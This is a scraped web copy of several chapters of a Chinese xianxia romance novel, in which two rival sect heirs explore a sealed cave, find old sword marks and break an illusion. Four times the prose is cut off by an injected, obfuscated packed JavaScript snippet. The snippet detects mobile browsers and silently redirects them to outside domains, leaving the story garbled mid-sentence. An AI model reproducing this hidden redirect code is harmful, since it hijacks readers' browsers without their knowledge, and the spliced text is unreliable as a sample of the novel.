宁霜尘掀了下狭长的眼眸,淡淡道:“谁咬我就说谁。” “你……”听他提到咬字,叶云溪不自觉扫了眼对方微红的唇瓣,脸上又羞又恼,拔高声量道:“谁让你……” 后面的话还没说出口,脸反而变得更红了,耳根腾地升起一阵热意。 虽然看不清他的脸,宁霜尘却隐约猜到了他此刻的神情,勾了下唇,明知故问:“让我什么?” 让他什么? 这人还敢问他? 也太不要脸了! 叶云溪发现,自己越是生气,宁霜尘越是高兴,恶狠狠地瞪去一眼后,转过头不再理睬他。 前面的幽光越离越近,他寻着光源走过去,将宁霜尘抛在身后。 宁霜尘从后面跟上他的步伐,默了会儿,冷不丁又道:“你不会没和人亲过吧?” 这人还问! 亲自然是没亲过,他又不是那种随随便便的人,别说亲嘴了,他甚至连手都没跟别人牵过。 虽是如此,叶云溪仍是硬着头皮,不服气道:“当、当然有!” 宁霜尘面露怀疑地扫了一眼他,对方涨红的脸根本没有任何说服力。 见宁霜尘没接话,叶云溪自以为略胜了一筹,冲他抬了下下巴,打量道:“你呢?你有吗?” 宁霜尘故意卖了个关子:“你猜?” 呵,他才不猜。 叶云溪别过脸,学着他的语气,淡淡吐出几个字:“没兴趣。” 他终于走近了光源,低头一看,是他们先前掉落在暗室的夜光石。 叶云溪刚弯腰去捡,石壁和地面突然左右摇动起来,恍惚之中,从地底深处传来一阵猛兽的吼叫声。 两人不由面面相觑。 片刻之后,吼叫声戛然而止,甬道亦归于平静。 这一路走来,他们从未碰见过任何妖兽异物,唯一一次听见这样的巨吼,还是在刚从暗河出来的时候。 叶云溪犹然记得,当时吼声来自密林,而他们如今所在的禁地正处于密林边缘。 由此来看,刚才的吼叫声极可能便是来自禁地深处。 宁霜尘捡起另一颗夜光石道:“再往前走走。” 这下变成了叶云溪跟着他。 若是在外面遇上妖兽倒也没什么,就算没有灵力,他也照样可以使剑,可在这个什么也看不清的禁地里,他多少还是有些害怕。 他们走过一处拐角,前方隐隐约约出现了一个微微发亮的洞口。 两人于是加紧了脚步。 洞口处垂落着帘幕似的藤蔓,拨开藤蔓出去,是一个如殿宇般庞大静谧的洞府。 四面洞壁崎岖不平,在他们的正前方,是一棵矗立着的高大粗壮的合欢树,枝叶繁茂,花开如锦,树冠几乎撑破了洞顶。 一束光自洞顶洒落下来,正好照在合欢树上,细长的花瓣随风而舞,飘散在几近透明的光影中。 叶云溪微仰着头,看着漫天飞舞的花瓣,下意识伸手去接。 却这时,身旁的宁霜尘冷不丁提醒道:“合欢花花蕊有催`情之效,其效力等同于媚`药。” 听到这话,叶云溪惊得急忙缩回了手。 他极少听见这种直白露骨的言语,想起上次在暗室中碰到的魅魂,皱着眉打量着宁霜尘道:“你、你怎么连这也知道?” 宁霜尘坦然道:“《宗派秘史》上写的,你没看过?” 《宗派秘史》他当然看过,可唯独没看过有关风月宗的,看也仅看了前面几页。 哪里像宁霜尘这样,看得这般仔细,连合欢花花蕊有什么作用都一清二楚。 “你以为谁都像你这样。”叶云溪撇了撇嘴,默默在心里翻了个白眼,嘀咕了句,“举止轻佻,无耻至极。” 一想到宁霜尘对他做过的事,叶云溪便十分来气。 宁霜尘没听见他后面两句,而是被藤蔓下的痕迹吸引了注意,径直走向旁边的洞壁。 他凑近端详了一番,回头对叶云溪道:“此处也有剑痕。” 嗯?剑痕? 叶云溪闻言竖起耳朵,暂时放下他和宁霜尘的恩怨,也走了过去。 果然如宁霜尘所说,洞壁上有着许多杂乱的剑痕。 上一次看到这样的剑痕还是在暗室里。 宁霜尘问道:“也是你们云岚宗的剑招?” 叶云溪看着剑痕点了点头,眸色却透出几分凝重,“还是流岚听雪。” 难不成……还是上次暗室里的那个人? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14601510|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若真如此,那么在他们之前进来过的那个人,也极可能到过眼前这个洞府。 他/她到底是一个人还是两个人? 最后有没有离开崖底? 这些都是他们眼下想要知道的答案。 宁霜尘收回眼道:“我去另一边看看。” 叶云溪会意,跟着道:“我也去。” 若是那人没能出去,这洞府里应该会有他/她的尸骨。 两人分头行动,一人往左,一人往右,分别在宽敞的洞府里查找起来。 叶云溪去的是左面,角落里长着及膝的杂草,洞壁上爬满了藤蔓。 他提着剑看了一圈,什么也没找到,反倒是另一边再次传来了宁霜尘的声音。 “是剑痕,这里也有。” 叶云溪连忙转身过去。 这次的剑痕比刚才更深,可看着却并不像他们云岚宗的招式。 叶云溪刚想说这好像是其他宗门的剑招,便冷不防听到宁霜尘说道:“寒霜饮露。” 这四个字听起来有些耳熟,他正思索着这招式出自哪一宗门,又听宁霜尘接着说道:“是我们霜华宗的剑招。” 对了,是霜华宗的剑招。 之前为了在宗门大比上胜过宁霜尘,他特地找师兄切磋拆解过这一剑招。 难怪耳熟。 如今他们两个宗门的剑招都出现在了禁地里,事实证明,只有一种可能,那就是同时有两个人进来过。 和他们一样,一人来自云岚宗,一人来自霜华宗。 他们两宗素来不和,这洞壁上错乱的剑痕,应当便是那两人在此处打斗过的痕迹。 “看这样子应该是两个人,而且他们交手了不止一次。”叶云溪笃定道:“赢的人一定是我们云岚宗。” 宁霜尘挑眉道:“你怎么确定不是霜华宗?” 叶云溪哼了声道:“反正不是。” 虽然这剑痕根本看不出谁输谁赢,但叶云溪依然坚信,输的人绝对不是他们云岚宗。 他提着剑转过脸去,继续往下看着洞壁,似乎想从上面找出某些证据。 这一看,忽然发现洞壁上还有一行痕迹,被杂草遮掩着,看不太清晰。 他用剑拨开杂草,边拨边道:“这里还有剑痕,不对……是字。” 宁霜尘闻声凑上前来。 和石门上的刻字不同,眼前的字更像是有人拿剑划上去的。 能在这个洞府里用剑留字的人,只有可能是在他们之前来过禁地的人,也就是在这里交过手的两个同门。 叶云溪盯着看了好一会儿,才勉强辨出几个字,喃喃念道:“妖兽封印,风月禁地,修炼秘……” 最后那个字似是太过繁冗,因年岁久远已经模糊成了一团,完全看不清楚。 但可以看出,那两位同门似乎想给后来者留下什么信息。 宁霜尘沉吟道:“妖兽应该便是我们方才听见的吼声,风月则是指风月宗,妖兽封印,风月禁地……” 顿了顿又道:“我想,这里应当是风月宗为了封印妖兽而设下的禁地。” 叶云溪听完顿时恍然。 为了封印妖兽设下禁地,以至于误入者修为受限,如此一来倒也说得通。 他接过话道:“那最后一句呢?看起来好像要让我们修炼什么。” 16.第十六章 修炼秘法? 还是修炼秘术? 叶云溪左看右看,怎么看都不太对,末尾那个字实在无法辨认。 “可能是什么术法。”宁霜尘说着却凝了下眉,若真是什么术法,他们如今失了修为,似乎也没有办法修炼,他想了下道:“再看看吧,或许还有别的提示。” 叶云溪没再继续纠结,嗯了声,从那一行小字上收回了眼。 他们于是又沿着洞壁查看了一遍,除了一些杂乱的剑痕,却再没发现其他痕迹。 不过,也没有找到一具尸骨。 这不禁让他们看见了一丝希望。 没有尸骨,也就是说,当初被困的两人最后很可能都离开了此处。 当然,也不排除他们后面又去了别的地方,毕竟这禁地错综复杂,全是当年霁月真君布下的迷阵,谁也不知道还会不会出现新的幻象。 两人都找累了,也没找着新的痕迹和出口,索性在洞府里寻了个地方停下来暂作歇息。 自从进了禁地以后,他们一直都在进入幻象和破解幻象,虽身为修者,但到底失了修为,同普通人无异,身体总会疲惫。 叶云溪在离合欢树稍远的地方,找了块略显平整的石头坐下,刚放下佩剑,宁霜尘也在他对面的石头上坐了下来。 两人隔着一段不远不近的距离。 叶云溪仍在想着刚才洞壁上的字迹,面露沉思道:“你说,当年被困在这里的人,究竟会是谁呢?” 他在查看洞壁时,仔细回忆了一下,并未听说这数百年内有弟子在青墟秘境中失踪过。 而且,能使出这两招的人,绝非寻常弟子,就算只在宗门内,也应当是排得上名号的。 若真在青墟秘境中失踪,宗门内必然有人提及才对。 宁霜尘解下储物袋,从里面拿出一个水囊,拔开壶嘴,听了他的话缓了缓道:“寒霜饮露非内门弟子不可学,这位剑修前辈应该是四百年前被困在这里的。” 叶云溪好奇道:“你怎么确定是四百年前?不是八百年前?” 宁霜尘不紧不慢道:“寒霜饮露是六百年前,第八任霜华宗宗主枕寒剑尊,闭关之时领悟出来的剑招。” 对啊,他怎么给忘了! 这两招剑招皆晚于八百年。 叶云溪扫了眼他手里的水囊,又收回眼,跟着道:“流岚听雪也是我们师叔祖栖流剑尊自创的,这么说来,他们都是四百年前的宗门弟子。” 也不知如今是坐化抑或飞升。 宁霜尘拿着水囊喝了口水,正擦着唇角,余光瞥见叶云溪微微动了下喉咙,将手中的水囊递过去。 “喝吧。” 叶云溪看了一眼壶嘴,眼神露出几分嫌弃,没接。 宁霜尘知道这位叶少宗主有些洁癖,以为他嫌水不干净,又添了一句:“瀑布下装的水,干净的。” 叶云溪仍是皱了皱眉,连穿宁霜尘穿过的衣服他都觉得浑身不舒服,更别提和宁霜尘共用一个水囊。 叶云溪蹙着眉道:“你喝过了。” 原来是嫌弃他喝过。 宁霜尘不免想笑,掀眸看了眼他,淡淡提唇:“亲都亲过了。” “!” 这人还说! 要不是他,他怎么会…… 叶云溪盯着他,恶狠狠地瞪了一眼,耳根却是一阵发烫,一时竟不知该如何反驳。 他这副样子看在宁霜尘眼里,像极了一只炸毛的猫。 明明一副气鼓鼓、凶巴巴的模样,却无端透出几分可爱。 嗯?他竟然会觉得叶云溪可爱…… 想到这里,宁霜尘不由敛了敛微暗的眸色。 而另一边,为了不看到那张讨人厌的脸,叶云溪把头扭了过去,想到那个盛满水的水囊,不由自主抿了下干燥的唇。 原以为宁霜尘还会把水囊递过来,却不想过了好一会儿都没有动静。 他正想这人果然不是诚心给他的,这时,面前的石头上忽然多了一只碗,碗里盛着干净清澈的水。 宁霜尘的声音自身侧传来:“现在可以了?” 叶云溪抬眸睨了一眼,内心涌起一丝莫名的情绪,心里虽是满意了,嘴上却道:“勉强。” 看着他一脸别扭的样子,宁霜尘感到无奈的同时,不自觉微弯了下唇角。 他接着又从储物袋里摸出一包吃食,放在叶云溪的面前,“吃吧,垫垫肚子。” 东西用树叶仔细包着,一股淡淡的香味自缝隙间飘出来,让原本还不饿的肚子有了些许饿意。 叶云溪捧着碗道:“这是什么?” 话音刚落,他便看到宁霜尘揭开了树叶,定睛一看,是一包烤好的小鱼干。 叶云溪看了一眼,立时又嫌弃起来,想来这应该是宁霜尘在山洞里的时候烤的。 他皱了下眉道:“没别的了吗?” 堂堂霜华宗,储物袋里就装这种吃食? 这也太寒酸了。 叶云溪忍不住道:“你下山的时候,就没在里面装点能吃的?” 宁霜尘摇头:“没有。” “那你爹呢?”叶云溪又问道:“他不管你吗?” 他下山时,他爹娘可是恨不得把云岚宗的所有东西都让他带上。 宁霜尘闻言,沉默了片刻,仍是摇头。 想想也是,真要有别的,早在捡到储物袋时,宁霜尘就该拿出来了。 见提到他爹时,宁霜尘眸底闪过一丝异色,叶云溪扫了眼袋子上金线编织的‘寕’字,不禁想起了一些关于现任霜华宗宗主的传闻。 传闻说,霜华宗宗主因为早年丧妻,悲痛欲绝,清醒之后性情大变,变得不近人情,冷酷严厉。 那个时候……宁霜尘大概六七岁? 刚没了娘,爹又不爱。 其处境可想而知。 思及此处,叶云溪再次看向宁霜尘时,目光里不禁多了一分同情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617842|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 似是察觉到他直白的视线,宁霜尘扭头朝他看来,冷不丁开口道:“我已经辟谷了,他就算给我我也用不上,还不如多带些灵丹法器。” 说着又挑眉道:“你不会还没完全辟谷吧?” 叶云溪:………… 他就知道,是他多想了。 叶云溪拧着眉,没好气道:“关你什么事!” 宁霜尘已经习惯了他的脾气,并不会为此感到生气,反而觉得叶云溪恼怒的样子很是有趣。 但也不能逗得太狠了,哪怕是猫,炸毛的时候也是会咬人的。 想起仍带着痛意的嘴角,宁霜尘放柔了语气,看着树叶上的小鱼干道:“还吃吗?” “吃,当然要吃。”叶云溪把全部小鱼干都抢了过去:“谁说我不吃了。” 等离开了崖底,回到了云岚宗,他就把储物袋装满所有好吃的。 就算辟谷了,他也要吃! 宁霜尘在一旁定定看着他,像在看一只护食的猫,唇角情不自禁微微上扬了一个弧度。 本以为这小鱼干味道不怎么样,没想到越吃越香,一转眼叶云溪便吃了大半。 当然,他没吃完,自认为还算不错地给宁霜尘留了一些。 不怪他,是宁霜尘自己说他辟谷了。 二人歇息完毕,准备去合欢树下看看。 这是他们在洞府里唯一没有查看过的地方。 走向合欢树之前,宁霜尘从玉瓶中倒出两粒丹药,一粒自己服下,另一粒摊着手心给身旁的人。 叶云溪道:“干什么?” “屏香丹。”宁霜尘一句话解释道:“合欢花的香气也有催`情之效。” 叶云溪瞬间明白了这丹药的作用,没等宁霜尘说完,便立即吞进了肚子里。 服完丹药,两人适才迈开脚步。 仰头望去,高大的树干直达洞顶,满树合欢花轰轰烈烈地绽放着,空气中果然隐隐浮着花香。 还没等他们走近,迎面忽然卷来一阵疾风,合欢花簌簌抖落,花瓣似乌云一般聚拢,扑面而来。 宁霜尘忙道:“小心。” 叶云溪见状,急忙抬臂遮挡,须臾之后,风散花落,四周又缓缓归于平静。 这阵风来得太过蹊跷,不免令人觉得怪异,他正欲去问宁霜尘,扭头一看,却不见了那道雪青色的身影。 空荡荡的洞府瞬间只剩下他一人。 他愣了下,回头喊道:“宁霜尘?” 无人回应。 奇怪,难道又进入了幻象? 叶云溪正自想着,一个柔媚婉转的嗓音在这时忽地自耳边响起。 “好一个俊俏的小公子。” 悠悠扬扬回荡在洞壁间,听起来格外耳熟。 叶云溪随即四处张望:“谁?什么人?” 声音的主人好像并没听见他的话,似想到了什么有趣的事般,自顾自地抿唇笑道:“哦~又是两个剑修。” 17.第十七章 又是两个剑修? 是指他和宁霜尘? 可现在宁霜尘已不见了身影。 叶云溪怀疑,他们可能是分别进入到了幻象中。 而能布下幻象的人,只有这个洞府的主人。 叶云溪不由记起那抹红衣人影,微凝神色,面朝合欢树的方向问道:“您是霁月真君吗?” 霁月真君本人定然不会守在此处,留在这里的想必是他的一缕神识,或是一个分`身虚影。 话音落下,合欢花瓣又纷纷扬扬飞舞起来,围绕在他身旁慢慢聚拢,将他像茧一样包裹其中。 花瓣越来越多,眼前一片落英纷乱,叶云溪拔出长剑,试图将它们劈散开,却反被紧紧缚住,不得动弹。 过了片刻,随着花瓣四处飘散,被遮挡的视线才逐渐恢复了清明。 可等叶云溪再看时,四周早已不是方才的空荡洞府。 他好像落入了一个漫无边际的空间,远处漆黑一片,看不见边界,只有头顶落下一束微光,勉强照亮脚下的黑暗。 一片花瓣自眼前飘落,落至地面,地面瞬间变成了一泊无边无际的湖水,花瓣所落之处,漾开一圈又一圈细小的涟漪。 他双脚明明站在水面,却如履平地,湖水仿佛镜面一般,倒映着他颀秀的身影。 叶云溪正觉困惑,刚才的说话声再度从耳边传来。 “想知道你的同伴在哪里吗?” 声音由远及近,仔细一听,原是来自一团散发着红色光芒的光团,此时这团光团正在他的身边不停跳动着。 叶云溪几乎可以确定,这便是霁月真君留在此处的神识。 他急忙追问道:“霁月前辈,您可以告诉我怎么样才能离开崖底吗?” 红色光团左右跳了跳,过了会儿,才似听懂了他说的话般,在他头顶上方停了下来。 “只有有情之人才会来到这里,至于怎么样才能离开,那就要看你的有情人是否真的有情了。” 什么有情之人? 叶云溪没听明白。 总不会说的是宁霜尘吧? 红色光团跳跃到他的前面,继续说道:“待幻象破解之后,离开的方法自会揭晓。” 说话间,一道红光如利箭嗖地射向对面的虚空,红光散开,在他不远处的正前方随即出现了一面椭圆形的镜子。 镜子上方悬着一个日晷,和暗室中的日晷石刻十分相似,而镜子里,正是从他身边突然消失的宁霜尘。 从镜面看去,宁霜尘此刻仍在刚才的洞府里,旁边多了一道和他身形相仿的身影,身上同样也穿着雪青色的霜华宗宗服。 叶云溪皱了下眉,正疑惑此人是谁。 待那道身影转过头来后,才惊异地发现,这人竟然和他长得一模一样。 镜子里的另一个人原来是他自己! 可他本人现在并不在洞府里。 那这个和他一模一样的人到底是什么? 叶云溪怔了一瞬,想起霁月真君方才所说的幻象,很快明白过来。 这个人不是他,也不是人,而是霁月真君照着他的模样,用幻术捏出来的傀儡幻影。 要想破解幻象,便要识破幻影。 宁霜尘能行吗? 叶云溪不免有些担心道:“如果幻象没能破解,会怎么样?” 红色光团又在他面前跳了跳,慢悠悠地回道:“也不怎么样,若是没能在一个时辰之内破解,那你们就会永远永远留在这里。” 顿了下,又道:“只不过,能不能在妖兽嘴下活命,那就要看你们的运气了。” 明明是十分轻快的语气,叶云溪听进耳朵里却陡然升起一阵寒意。 永远留在这里…… 在妖兽嘴下活命…… 他们如今都失了修为,不过肉体凡胎,遇上妖兽只有死路一条。 也就是说,如果宁霜尘不能破解幻象,等待他们的唯有死路。 红色光团似乎猜到了他在担忧什么,宽慰道:“不必担心,只要你们是有情人,幻象自会轻松破解。在此之后,照我所说的去做,你们的修为亦可自行恢复。” 修为可以自行恢复!? 叶云溪听到这句话,蓦然回过神来,眼睛微微一亮。 瞬间将刚刚的担忧抛在了脑后。 “霁月前辈,那离开的方法是不是修炼……” 他还想再问出点什么,譬如是否和修炼有关,却见红色光团忽地飞向镜面,随后如泥牛入海般倏然不见。 叶云溪跟着看向那面发出淡淡光芒的镜子,镜子里,宁霜尘正和身边的傀儡幻影查看着合欢树。 两人似在说着什么,傀儡幻影被惹怒了,满脸恼意,宁霜尘却是望着他勾唇浅笑。 有什么好笑的? 叶云溪看着镜子里的宁霜尘不悦地皱起双眉。 真是笨蛋! 连身边的人被调包了都没发现! 而另一边。 宁霜尘尚未发觉自己已经进入到了幻象中。 他刚在合欢树的树后发现了一个树洞。 树洞约半丈高,宽约三尺,恰好可供一人进入,肉眼看去深不见底,像极了一个黑黝黝的洞口。 身旁的‘叶云溪’探头看了眼,问道:“我们进去看看吗?” 宁霜尘点了点头。 经过方才那阵疾风后,他愈发觉得,这个洞府变得奇怪起来。 具体哪里奇怪他也说不上,只是总有一种说不出来的怪异感。 知道他们叶少宗主怕黑,宁霜尘先一步在前面弯腰进去,‘叶云溪’则紧紧跟在他的后面。 树洞入口并非一片平地,进去之后,是一条看不见前路的石阶,里面的甬道比从外面看起来更显狭窄一些。 宁霜尘手里拿着夜光石,一边摸索着往下走,一边提醒身后的人:“这里有处拐角,小心点。” 不想话音刚落,身后便紧接着传来嘶地一声,声音很轻,刚好飘进他的耳朵里。 宁霜尘回头道:“怎么了?” ‘叶云溪’微蹙着眉,摇了摇头:“没事。” 宁霜尘却是看向他的腿,看他一瘸一拐的样子,很显然是不小心崴到脚了。 这条石阶又窄又陡,稍不留意便容易踏空,像这样崴到脚并不奇怪,更何况对方的腿伤本就才恢复不久。 宁霜尘想了下,在原地停下来,待‘叶云溪’走近,微蹲下身,“上来吧。” ‘叶云溪’不解道:“干什么?” 宁霜尘道:“我可不想再继续照顾一个瘸子。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630089|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你什么意思?”‘叶云溪’闻言,立时勃然大怒:“你说谁瘸子?” 宁霜尘左右看了眼道:“这里还有别人?” ‘叶云溪’一听这话,顿时更生气了:“你……” 他愤愤地扭头:“我又不是瘸子,我自己能走。” 下一瞬,却被宁霜尘径直背了起来。 ‘叶云溪’蓦然一惊,被吓到一般,挣扎道:“你干什么!放我下来!宁霜尘!” 宁霜尘不想在这里跟他浪费时间,索性直接把人背在了背上。 反正又不是没背过。 眼下尽快离开此地才是要事。 温暖的身体贴在后背,某人嘴上虽不情愿,双手却紧紧抓着他的肩膀。 “抓稳了。”宁霜尘又出声提醒了一句,然后迈开脚步道:“先出去再说。” 镜子外。 叶云溪亲眼看着宁霜尘背上傀儡幻影。 一脸无语。 他有这么弱吗?这么容易崴脚?有弱到崴了脚就需要人背吗? 全然忘了之前在密林里的事。 宁霜尘这都没看出来不是他。 真是太笨了! 笨蛋。 叶云溪越看越是无语。 虽然这也不能完全怪宁霜尘,实在是那个傀儡幻影太惟妙惟肖了,连每一个表情、每一个反应都和他一样,说是他的孪生兄弟也不为过。 但一想到宁霜尘不仅没识破傀儡幻影,还背着对方走这么长一段路。 叶云溪心中便莫名不快。 他抬头看了眼镜子上方的日晷,已经过了快半个时辰。 可看现在这样,宁霜尘一时半会儿根本破解不了幻象。 叶云溪不免有些着急。 他被困在这小方天地里,既出不去,又无法给宁霜尘传递信息,连那团红色光团也没了踪迹。 难道就在这里等死? 叶云溪急躁地走来走去,他试过了,这四周全是结界,一旦靠近,就会被立马弹开。 没有任何办法,他只得紧盯着镜面。 在他着急这会儿,镜子里的两人已经走出了树洞。 叶云溪发现,镜子里的时间似乎和他的时间有些不同,他明明没等多久,日晷上的阴影却又往后移了两刻。 再这么下去,一个时辰就要过去了。 而此时此刻,宁霜尘还在那儿和傀儡幻影磨磨蹭蹭。 从树洞出来,是一片绚烂无比的桃花林,花开成片,云蒸霞蔚。 但叶云溪很清楚,这些全是霁月真君布下的幻象。 他看着宁霜尘把傀儡幻影从背上放下来,二人似乎又发生了口角,在桃花树下拔剑相对。 没错,杀了他。 他是假的。 叶云溪在心里说道。 可很快宁霜尘又收回了剑。 叶云溪:…… 傀儡幻影却并未收剑,甚至趁机从他侧面偷袭而去。 二人再次交上了手。 叶云溪紧张地留意着日晷。 时间正在流逝,还剩下三刻、两刻、一刻…… 便在最后一刻,宁霜尘手持长剑,剑尖直指着那张再也熟悉不过的脸,面上如结着寒霜般,冷冷道:“你不是他,你是谁?” 18.第十八章 桃花林霎时一片寂静。 剑刃寒光流转,冰冷的剑锋映着那张熟悉的侧脸,剑尖离对方的眉心仅余半寸。 “你干嘛呢?”‘叶云溪’蹙起双眉,试图伸手移开眼前正对着的剑尖,“什么不是他?我是谁你还不知道?” 宁霜尘不为所动,剑锋轻轻一挑,在快要划过他的脸颊时,又临时收住剑尖,转而从‘叶云溪’的颈间擦过,白皙的肌肤瞬间多出一丝鲜红的血痕。 他盯着那双眼睛,一字字重复道:“你不是叶云溪。” ‘叶云溪’捂着脖子愣了一下,大概没想到宁霜尘真的会对他出手,须臾之后,突地发出一声刺耳的狞笑,整张脸跟着扭曲起来。 与此同时,桃花林陡生异象,狂风卷起地上的花瓣和沙石,在二人边缘形成一道巨大猛烈的旋风。 镜子外,叶云溪刚舒了口气,紧接着便看到宁霜尘和傀儡幻影再度交锋,傀儡幻影已经完全暴露了真身,露出一张阴鸷可怖的脸来。 什么情况? 不是只要识破幻影,幻象便能自行破解吗? 可看镜中的景象,似乎幻象仍在继续。 难道还需要除掉傀儡幻影才行? 眼看傀儡幻影朝着宁霜尘步步紧逼,出手全是杀招,叶云溪不禁手心捏了把冷汗。 若是换在往常,他根本不会为此担忧,毕竟宁霜尘可是霜华宗少宗主,哪怕对上高灵阶的妖兽也是绰绰有余。 可现在他们都没了修为,也无法器可用,只能靠着手中的佩剑与对方缠斗。 剑光交织,桃花散落,满地花瓣随风而舞。 面对宁霜尘的不停闪躲,傀儡幻影反而紧追不舍,招招直取命脉,他虽暴露了真身,出手的剑招仍和叶云溪一模一样。 宁霜尘从容不迫应对着,将它引至旋风边缘,在傀儡幻影一味进攻之时,反身一闪,趁其不备,攻其破绽,锋利的剑尖以迅雷不及掩耳之势刺破对方的喉咙。 傀儡幻影不可置信地睁大双眼,扑通一声,跪在了他的面前。 宁霜尘面无表情地看着那张狰狞的面孔,随后刷地拔出长剑,一脚将傀儡幻影踹入了旋风之中。 这一瞬,风停了,飞舞的花也停了。 时间仿佛骤然静止。 看到日晷上的阴影停在了最后一刻,叶云溪这时才完全松了口气。 幻象终于破解了。 伴随着傀儡幻影魂飞魄散,周围的景物开始渐渐消失,镜面‘咔嚓’一声轻响,转瞬间裂成一块块碎片。 两边的世界重新融合在了一起。 结界退去,脚下的湖水变回平地,四面的虚空变回洞壁,他们又回到了最初的洞府。 叶云溪环顾了一遍四周,没有发现任何变化,最后将目光投向站在他对面的宁霜尘。 宁霜尘也看着他。 哪怕一开始不知道是怎么回事,在经过了傀儡幻影之后,他也大概明白了,方才应是不知不觉进入了幻象中。 “奇怪。”叶云溪又打量了遍洞府,皱着眉道:“霁月前辈明明说幻象破解之后就会揭晓,怎么什么也没有……” 宁霜尘道:“什么?” 反应过来他口中的霁月前辈应当便是霁月真君,又道:“你看到了霁月真君?” 叶云溪点点头:“嗯,我看到了他的神识。” 他接着将在幻象里发生的一切一五一十说了出来,包括霁月真君和他的对话,以及他在镜子里看见的所有景象。 说到宁霜尘背上傀儡幻影时,语气中透出几分嫌弃和不快。 叶云溪忍不住轻哼了一声:“连真假都分不出。” 真笨。 不过,他还是有些好奇,接着问道:“你最后是怎么识破的?” 那个傀儡幻影和他实在太像了,他虽然觉得宁霜尘笨,可换成他是宁霜尘,他也不一定能分辨出来。 宁霜尘缓了缓道:“他想杀我。” “嗯?”叶云溪没听明白,睨了眼他道:“想杀你不是很正常吗?” 他们可是宿敌,不想杀了对方才奇怪吧。 若不是坠落崖底同处困境,他和宁霜尘才不会像现在这样和平共处。 宁霜尘听着这话,却是微敛了下眸色。 虽然他和叶云溪一直视彼此为敌,可也对彼此最为清楚。 他知道,叶云溪嘴上虽不饶人,脾气也很骄横,还动不动就冲他拔剑,但对他从来没有过真正的杀意。 他只不过傲慢了点,娇气了点,到底还是个在万千宠爱中长大、涉世未深的小公子。 如果他们其中一人并非出身云岚宗或霜华宗,或许他们也可能成为朋友,或是…… 便在他失神之时,满树合欢花忽然随风摇晃起来,如萤火般的微光自花蕊间飞出,汇聚成一道红色的光柱,直射向他们斜对面的洞壁。 没等来宁霜尘的回答,叶云溪的注意率先被那道红光吸引了过去。 “你看。”他的视线随着红光转向洞壁:“那是什么?” 话音甫落,红光陡然消失,洞壁上凭空出现了一扇石门,在他们的目光中,石门朝向两边缓缓打开。 离开的方法难道就在里面? 两人交换了个眼神,互相会意,默契地朝着石门走去。 通往里面的甬道并不长,他们很快就走到了尽头,尽头处是一个偌大的房间,说是房间,更像一座供人歇息的寝殿。 寝殿分成了三个空间,一边是床,一边是浴池,另一边有点像茶室和书房,有茶盘,有几案,还有一列古朴的书架。 每个角落都有石灯,因此,不需要夜光石也能看清里面的场景。 进去之后,两人立在原地打量了一遍,然后才分别走向两边。 宁霜尘拂开纱幔,一边查看着浴池一边问道:“霁月前辈没再说别的?” “没了。”叶云溪走到几案前,拿起上面的玉石看了看,回道:“他只说幻象破解之后,离开的方法就会揭晓,至于到底是什么,我还没问清楚,他就不见了。” 他能说的都说了,当然,除了‘有情人’三个字。 不知怎么,这三个字听起来总让他有些别扭。 宁霜尘若有所思地嗯了声:“那可能还需要我们自行摸索。” 若是真有这么简单,他们早就从崖底出去了。 叶云溪拿着玉石道:“应该就在这里面了。” 不然怎么会凭空出现一扇门,以及这么大一间寝殿。 手里的玉石触感温润,颜色清透,只是形状看起来有些奇特。 他有不少师兄师姐送的玉佩玉环,却从没见过这样的,叶云溪将玉石放回原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643320|154715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位,说道:“这玉石的质地还不错。” 另一边的宁霜尘闻言扭头看过来,看到放在几案上的东西,脸色不由微微一变,旋即收了眼,握拳放在唇边轻咳了一下。 听见他的轻咳声,叶云溪以为他发现了什么,问道:“怎么了?” 宁霜尘不露声色地摇了下头:“没、没事。” 叶云溪没注意到他脸上闪过的异色,只当宁霜尘是喉咙不太舒服,继续沿着几案看下去。 除了这张几案,书架旁还有一张,上面放着的东西却和书房一点儿都不相配。 叶云溪忍不住微蹙了下眉:“这都什么?” 鞭子、锁链、镣铐…… 怎么像是地牢里用来审讯的东西? 难道这里关押过人? 